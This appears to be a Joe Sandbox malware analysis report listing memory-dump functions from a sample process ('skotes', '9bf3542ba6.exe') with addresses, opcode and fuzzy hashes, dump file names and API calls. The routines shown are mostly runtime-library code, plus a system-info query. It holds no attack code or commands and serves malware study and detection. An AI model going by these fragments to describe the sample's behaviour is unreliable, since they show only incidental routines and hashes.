Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54216dfe5acf4c98c7a7641280aa348ee0dacceedfebcefa936500be176c949e
Instruction ID: 38c2cd98ffb6410aba7e63642a3bdc9f376d3cab1640c691afc84d3f0f8b6c72
Opcode Fuzzy Hash: 54216dfe5acf4c98c7a7641280aa348ee0dacceedfebcefa936500be176c949e
Instruction Fuzzy Hash: E7B15E31614608CFD714CF28C496BA57BE0FF45368F25869AE899CF3A1D339E982CB45

Function 00424B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a2540f940269911d3d79048fcb948447462ccfe756de72c605a6dbfc51d42d
Instruction ID: 888546e65dc6746f125c1aa83f557508a5b3799a944fefaa630627472c7154c0
Opcode Fuzzy Hash: b4a2540f940269911d3d79048fcb948447462ccfe756de72c605a6dbfc51d42d
Instruction Fuzzy Hash: 3D810270F002658FDB15CF69E8807AEBBF1FB99300F95066ED850A7352C3799945CBA8

Function 004678BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a037510f8e9542427bd6d5b5c83fe4a59eb11d958fc8d1146253cc73006de38c
Instruction ID: 12ba09d2b5550dc34747e2ed34200e22f999738f93bedd0828a1380bd7afb406
Opcode Fuzzy Hash: a037510f8e9542427bd6d5b5c83fe4a59eb11d958fc8d1146253cc73006de38c
Instruction Fuzzy Hash: AD21B673F2043947770CC47E8C5227DB6E1C78C641745423EE8A6EA2C1D968D917E2E4

Function 0046779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebca8582e5062df41399b55cbf3f808149b95b9ec646839f3b976948b33a99e9
Instruction ID: 0bad7773c4768903a3472bf8ee6f9b78a4f290cb1f4fb94f3c4e9302ddb06112
Opcode Fuzzy Hash: ebca8582e5062df41399b55cbf3f808149b95b9ec646839f3b976948b33a99e9
Instruction Fuzzy Hash: FC11A323F30C255A675C816D8C172BAA5D2EBD824431F433AD826E7284E8A4DE23D290

Function 00468860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 4592518c1e6ff73f6582cba68fb80203392b4776275cda57ed43771d0a76d52b
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: FB112BB724018243E604962DC8F45B7A795EFC53217AC437FD0414B758FA2AD945960E

Function 0045652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d07a2e3c22fe4b62b61db6f798f8706bc51447b9c8a4622848013ef6ef9a4c0d
Instruction ID: 590527fa0a07ffbe99b183041a21e4efec425ee1bcb6b18371ee1cce88f80444
Opcode Fuzzy Hash: d07a2e3c22fe4b62b61db6f798f8706bc51447b9c8a4622848013ef6ef9a4c0d
Instruction Fuzzy Hash: B6E0863008010CBECE25BB15D809A4A3B5AEB5174EF814819FC0447223DB29ED55C684

Function 0045A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 95d2abc0a43d504e6046c4e51f579e2b10d37189a78189b5a3fc11dd47443db7
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: EFE08C32921228EBCB15DB99C90498EF3ECEB49B09B65019BFD01D3252C274DE08C7D4

Function 00454840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00454877
___except_validate_context_record.LIBVCRUNTIME ref: 0045487F
_ValidateLocalCookies.LIBCMT ref: 00454908
__IsNonwritableInCurrentImage.LIBCMT ref: 00454933
_ValidateLocalCookies.LIBCMT ref: 00454988

Strings

csm, xrefs: 0045491D
S9E, xrefs: 00454925, 0045492E, 0045493F

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9E$csm
API String ID: 1170836740-3839479900
Opcode ID: 10c02d98f3411fd0369cc8a97f6bdc0cbffb1c8c9bb3fac7cb60bf13d22da39b
Instruction ID: 86341e92d204cafa0a8bb0b20897b187d5a693c934e4e298f023ebd9f68f05b5
Opcode Fuzzy Hash: 10c02d98f3411fd0369cc8a97f6bdc0cbffb1c8c9bb3fac7cb60bf13d22da39b
Instruction Fuzzy Hash: 1151F774A001089BCF10DF29C881AAF7BA5AF8531DF14805BEC189F353D73ADA99CB95

Function 00422EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00422F5F
__Mtx_unlock.LIBCPMT ref: 00422FCC
__Cnd_broadcast.LIBCPMT ref: 00422FE3
__Mtx_unlock.LIBCPMT ref: 004230F5
__Mtx_unlock.LIBCPMT ref: 0042319B

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 713f0b26ead2bbaabd60f3705c9e551e276a2f41394ecca9f7a06aeeaaf90650
Instruction ID: 650d3f24b1cd8116934200f51ce90d90648e0fcbe2cdd01eb4e3af133768ad8f
Opcode Fuzzy Hash: 713f0b26ead2bbaabd60f3705c9e551e276a2f41394ecca9f7a06aeeaaf90650
Instruction Fuzzy Hash: E0A100B0A00215AFEB10DF65D94576BB7B8FF08315F40416AE805E7381EB7DEA14CBA9

Function 0045F35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0045F3A3

Strings

,mE, xrefs: 0045F367, 0045F49B
8"H, xrefs: 0045F44B
`'H, xrefs: 0045F375

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,mE$8"H$`'H
API String ID: 3903695350-1443880406
Opcode ID: 3c4fb7f4aa1803d1c06df0141b0cfa8a9d32960c781c46d641a3cf9819939f3f
Instruction ID: b4b5b3c7523714beebb7da04eedf29178047c3db812dcb883f52cb397ff14945
Opcode Fuzzy Hash: 3c4fb7f4aa1803d1c06df0141b0cfa8a9d32960c781c46d641a3cf9819939f3f
Instruction Fuzzy Hash: 44316D31500201DFEB20AA3AD885B5B73E6EF01357F10452BEC45D7696DF78A89CCB1A

Function 0045CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0045CC66

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: bff765ab08ae7aa68223dee724fbf411fe71a0975c289223007d7c3315663473
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 07B102329043459FDB118F28C8C27AEBBB5EF45345F14416BDC45EB342D6389D4ACBA9

Function 0043BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0043BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0043BBE4
_xtime_get.LIBCPMT ref: 0043BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0043BC13

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: bfb9c9c68283442b2181d6efad36093f299a81cf9118f7338cdb111c856ded52
Instruction ID: 95de55cb87e763e67f5de6bc3101b69e72a1a82529d3f098064d4f0973f03a58
Opcode Fuzzy Hash: bfb9c9c68283442b2181d6efad36093f299a81cf9118f7338cdb111c856ded52
Instruction Fuzzy Hash: E32130759001199FDF00EFA5C8829BEB779EF0C714F10106AF601B7291DB34AD019B94

Function 0042E360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0042E4F9

Strings

L1H, xrefs: 0042E394
invalid stoi argument, xrefs: 0042E4F4

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1H$invalid stoi argument
API String ID: 909987262-1970805691
Opcode ID: 3c636909025c0c6f5713c136162fc75c31e5b3b01a95e8862a90292024a85fb7
Instruction ID: bc3f5709063ad443e7d95a08ef477e919b28448b911d9d36ad5da01d8b659c2a
Opcode Fuzzy Hash: 3c636909025c0c6f5713c136162fc75c31e5b3b01a95e8862a90292024a85fb7
Instruction Fuzzy Hash: C6F0C871500210ABC720AF69AC0695B3398D749B16F00483FED1497252EB746C0087AF

Analysis Process: 9bf3542ba6.exePID: 7160, Parent PID: 1364COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	1540
Total number of Limit Nodes:	49

Executed Functions

Function 007C42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 007C430D

Part of subcall function 007C6B57: _wcslen.LIBCMT ref: 007C6B6A

GetCurrentProcess.KERNEL32(?,0085CB64,00000000,?,?), ref: 007C4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 007C4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 007C4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 007C4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 007C4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 007C447B
GetSystemInfo.KERNEL32(?,?,?), ref: 007C44A0

Strings

|O, xrefs: 008036F8
GetNativeSystemInfo, xrefs: 007C4460
kernel32.dll, xrefs: 007C444F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

